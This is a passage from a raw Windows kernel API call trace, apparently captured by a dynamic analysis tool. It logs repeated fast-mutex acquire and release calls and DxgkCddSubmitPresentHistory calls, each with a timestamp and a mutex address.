DxgkCddSubmitPresentHistory () returned 0x0 [0144.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.521] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0144.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.521] DxgkCddSubmitPresentHistory () returned 0x0 [0145.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.482] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.482] DxgkCddSubmitPresentHistory () returned 0x0 [0145.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.482] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0145.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0145.482] DxgkCddSubmitPresentHistory () returned 0x0 [0145.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.483] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.483] DxgkCddSubmitPresentHistory () returned 0x0 [0145.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.502] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.502] DxgkCddSubmitPresentHistory () returned 0x0 [0145.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.518] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.518] DxgkCddSubmitPresentHistory () returned 0x0 [0145.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.518] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.518] DxgkCddSubmitPresentHistory () returned 0x0 [0145.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.561] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.561] DxgkCddSubmitPresentHistory () returned 0x0 [0145.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.577] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.577] DxgkCddSubmitPresentHistory () returned 0x0 [0145.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.577] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.577] DxgkCddSubmitPresentHistory () returned 0x0 [0145.652] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.652] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.652] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.652] DxgkCddSubmitPresentHistory () returned 0x0 [0145.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.667] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.667] DxgkCddSubmitPresentHistory () returned 0x0 [0145.668] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.668] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.668] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.668] DxgkCddSubmitPresentHistory () returned 0x0 [0145.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.699] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.699] DxgkCddSubmitPresentHistory () returned 0x0 [0145.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.715] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.715] DxgkCddSubmitPresentHistory () returned 0x0 [0145.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.774] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.774] DxgkCddSubmitPresentHistory () returned 0x0 [0145.790] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.790] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.790] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.790] DxgkCddSubmitPresentHistory () returned 0x0 [0145.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.813] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0145.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.813] DxgkCddSubmitPresentHistory () returned 0x0 [0145.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.813] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.813] DxgkCddSubmitPresentHistory () returned 0x0 [0145.843] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.843] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.843] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.843] DxgkCddSubmitPresentHistory () returned 0x0 [0145.843] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.843] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0145.843] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.843] DxgkCddSubmitPresentHistory () returned 0x0 [0145.843] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.844] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.844] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.844] DxgkCddSubmitPresentHistory () returned 0x0 [0145.882] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.882] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.882] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.882] DxgkCddSubmitPresentHistory () returned 0x0 [0145.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.889] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.889] DxgkCddSubmitPresentHistory () returned 0x0 [0145.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.889] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.889] DxgkCddSubmitPresentHistory () returned 0x0 [0145.913] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.913] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.913] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.913] DxgkCddSubmitPresentHistory () returned 0x0 [0145.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.928] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.928] DxgkCddSubmitPresentHistory () returned 0x0 [0145.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.944] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0145.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.944] DxgkCddSubmitPresentHistory () returned 0x0 [0145.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.944] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.944] DxgkCddSubmitPresentHistory () returned 0x0 [0145.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.976] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0145.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0145.976] DxgkCddSubmitPresentHistory () returned 0x0 [0145.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.976] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0145.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.976] DxgkCddSubmitPresentHistory () returned 0x0 [0146.009] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.009] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.009] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.009] DxgkCddSubmitPresentHistory () returned 0x0 [0146.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.022] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.023] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.023] DxgkCddSubmitPresentHistory () returned 0x0 [0146.023] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.023] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.023] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.023] DxgkCddSubmitPresentHistory () returned 0x0 [0146.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.038] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0146.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.038] DxgkCddSubmitPresentHistory () returned 0x0 [0146.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.038] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.039] DxgkCddSubmitPresentHistory () returned 0x0 [0146.072] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.072] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.072] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.072] DxgkCddSubmitPresentHistory () returned 0x0 [0146.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.085] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.085] DxgkCddSubmitPresentHistory () returned 0x0 [0146.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.085] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.085] DxgkCddSubmitPresentHistory () returned 0x0 [0146.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.117] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0146.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.117] DxgkCddSubmitPresentHistory () returned 0x0 [0146.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.117] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.117] DxgkCddSubmitPresentHistory () returned 0x0 [0146.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.164] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0146.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0146.164] DxgkCddSubmitPresentHistory () returned 0x0 [0146.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.164] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.164] DxgkCddSubmitPresentHistory () returned 0x0 [0146.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.164] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.164] DxgkCddSubmitPresentHistory () returned 0x0 [0146.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.179] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.179] DxgkCddSubmitPresentHistory () returned 0x0 [0146.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.218] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.218] DxgkCddSubmitPresentHistory () returned 0x0 [0146.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.218] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.218] DxgkCddSubmitPresentHistory () returned 0x0 [0146.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.241] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.241] DxgkCddSubmitPresentHistory () returned 0x0 [0146.248] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.248] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fcff40) [0146.248] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.248] DxgkCddSubmitPresentHistory () returned 0x0 [0146.280] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.280] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.280] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.280] DxgkCddSubmitPresentHistory () returned 0x0 [0146.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.310] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.310] DxgkCddSubmitPresentHistory () returned 0x0 [0146.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.310] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fcff40) [0146.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.310] DxgkCddSubmitPresentHistory () returned 0x0 [0146.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.345] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.345] DxgkCddSubmitPresentHistory () returned 0x0 [0146.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.369] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fcff40) [0146.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.369] DxgkCddSubmitPresentHistory () returned 0x0 [0146.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.369] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.369] DxgkCddSubmitPresentHistory () returned 0x0 [0146.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.369] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.369] DxgkCddSubmitPresentHistory () returned 0x0 [0146.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.401] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.401] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.402] DxgkCddSubmitPresentHistory () returned 0x0 [0146.402] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.402] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.402] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.402] DxgkCddSubmitPresentHistory () returned 0x0 [0146.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.431] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fcff40) [0146.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.431] DxgkCddSubmitPresentHistory () returned 0x0 [0146.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.431] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.431] DxgkCddSubmitPresentHistory () returned 0x0 [0146.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.463] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.464] DxgkCddSubmitPresentHistory () returned 0x0 [0146.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.464] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.464] DxgkCddSubmitPresentHistory () returned 0x0 [0146.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.497] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0146.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0146.497] DxgkCddSubmitPresentHistory () returned 0x0 [0146.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.497] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fcff40) [0146.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fcff40) [0146.498] DxgkCddSubmitPresentHistory () returned 0x0 [0146.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.498] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.498] DxgkCddSubmitPresentHistory () returned 0x0 [0146.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.532] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0146.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0146.532] DxgkCddSubmitPresentHistory () returned 0x0 [0146.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.532] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.532] DxgkCddSubmitPresentHistory () returned 0x0 [0146.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.569] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.569] DxgkCddSubmitPresentHistory () returned 0x0 [0146.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.641] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.641] DxgkCddSubmitPresentHistory () returned 0x0 [0146.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.672] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.672] DxgkCddSubmitPresentHistory () returned 0x0 [0146.679] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.679] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.679] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.679] DxgkCddSubmitPresentHistory () returned 0x0 [0146.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.695] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.695] DxgkCddSubmitPresentHistory () returned 0x0 [0146.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.726] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.726] DxgkCddSubmitPresentHistory () returned 0x0 [0146.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.748] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.748] DxgkCddSubmitPresentHistory () returned 0x0 [0146.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.768] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.768] DxgkCddSubmitPresentHistory () returned 0x0 [0146.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.784] DxgkCddSubmitPresentHistory () returned 0x0 [0146.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.800] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.800] DxgkCddSubmitPresentHistory () returned 0x0 [0146.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.816] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0146.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.816] DxgkCddSubmitPresentHistory () returned 0x0 [0146.848] 